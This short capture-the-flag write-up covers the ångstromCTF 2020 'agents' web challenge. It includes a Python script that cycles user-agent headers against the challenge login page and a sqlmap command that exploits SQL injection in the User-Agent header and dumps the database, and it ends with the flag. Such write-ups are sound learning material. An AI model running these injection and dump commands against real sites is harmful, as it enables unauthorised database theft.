I tried to find a user-agent, because I remembered one of Def-con web prob, which I should really find a user-agent.

```python
import requests

def exp(useragent):
headers = {
'authority': 'agents.2020.chall.actf.co',
'pragma': 'no-cache',
'cache-control': 'no-cache',
'upgrade-insecure-requests': '1',
'sec-fetch-dest': 'document',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'navigate',
'sec-fetch-user': '?1',
'referer': 'https://agents.2020.chall.actf.co/',
'accept-language': 'en-US,en;q=0.9',
'user-agent': useragent
}

response = requests.get('https://agents.2020.chall.actf.co/login', headers=headers)

res_text = response.text
if "Welcome" in res_text:
print(res_text)

if __name__ == "__main__":
#lists - https://github.com/tamimibrahim17/List-of-user-agents
with open('Safari.txt', 'r') as f:
datas = f.read()
for data in datas.split("\n"):
exp(data)
```

It did not work.

There was SQLi with the user agent as per the problem's source code. I was a little bit lazy about SQLi, so I ran Sql-map. :)

`sqlmap -u https://agents.2020.chall.actf.co/login? --headers="User-Agent: *" --dbms=mysql --level=5 --risk=3 --dump`

I got a flag.
`actf{nyoom_1_4m_sp33d} `